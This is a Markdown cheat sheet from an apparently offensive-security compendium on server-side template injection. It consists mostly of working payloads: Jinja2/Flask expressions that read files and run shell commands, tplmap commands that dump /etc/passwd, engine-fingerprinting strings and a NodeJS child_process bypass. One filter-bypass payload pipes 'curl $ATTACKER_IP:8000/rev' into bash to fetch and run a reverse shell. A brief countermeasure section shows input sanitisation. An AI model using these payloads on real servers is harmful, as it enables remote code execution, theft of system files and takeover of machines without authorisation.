killchain-compendium/Exploits/Web/SSTI.md

74 lines
1.8 KiB
Markdown
Raw Normal View History

2022-11-13 22:38:01 +01:00
# Server Side Template Injection (SSTI)
Pass in parameters to control the template.
## Usage
2022-12-28 18:02:39 +01:00
2022-11-13 22:38:01 +01:00
* Sanity test
```python
{{2+2}}
```
* Flask template LFI
```python
{{ ''.__class__.__mro__[2].__subclasses__()[40]()(<file>).read()}}
```
* Executing commands
```sh
{{ ''.__class__.__mro__[1].__subclasses__()[401]("whoami", shell=True, stdout=-1).communicate() }}
```
* RCE on server
```python
{{config.__class__.__init__.__globals__['os'].popen(<command>).read()}}
```
## Identification of Template Engine
2022-12-28 18:02:39 +01:00
2022-11-13 22:38:01 +01:00
Identify via payload checking
* Smarty: `a{*comment*}b`
* Mako: `${"z".join("ab")}`
* Twig or Jinja2
```sh
{{7*7}}
{{7*'7'}}
```
## Tools
2022-12-28 18:02:39 +01:00
2022-11-13 22:38:01 +01:00
### TPlmap
```sh
git clone https://github.com/epinna/tplmap.git
pip2 install -r requirements
```
|HTTP Method|Parameter|
|-----------|---------|
|GET|`tplmap -u <url>/?<vulnparam>`|
|POST|`tplmap -u <url> -d '<vulnparam>'`|
* Using remote command
```
tplmap -u http://<ip>:<port>/ -d '<vulnparam>' --os-cmd "cat /etc/passwd"
```
### Countermeasure
2022-12-28 18:02:39 +01:00
2022-11-13 22:38:01 +01:00
* Remove everything in user input but alnum. Passing data, not data to f-string.
```python
input = re.sub("[^A-Za-z0-9]", "", input)
template = "User input is {{ input }}"
return render_template_string(template, input=input)
```
## Bypass
2022-12-28 18:02:39 +01:00
2022-11-13 22:38:01 +01:00
* Save reverse shell as `rev`
```sh
{{request|attr("application")|attr("\x5f\x5fglobals\x5f\x5f")|attr("\x5f\x5fgetitem\x5f\x5f")("\x5f\x5fbuiltins\x5f\x5f")|attr("\x5f\x5fgetitem\x5f\x5f")("\x5f\x5fimport\x5f\x5f")("os")|attr("popen")("curl $ATTACKER_IP:8000/rev | bash")|attr("read")()}}
```
2022-12-28 18:02:39 +01:00
### NodeJS
If functions like require are blacklisted and are unusable, use [built-in objects](https://nodejs.org/api/globals.html) of NodeJS. Bypass by using `process` can be done instead, e.g. `process.mainModule.require('child_process').execSync('id');`.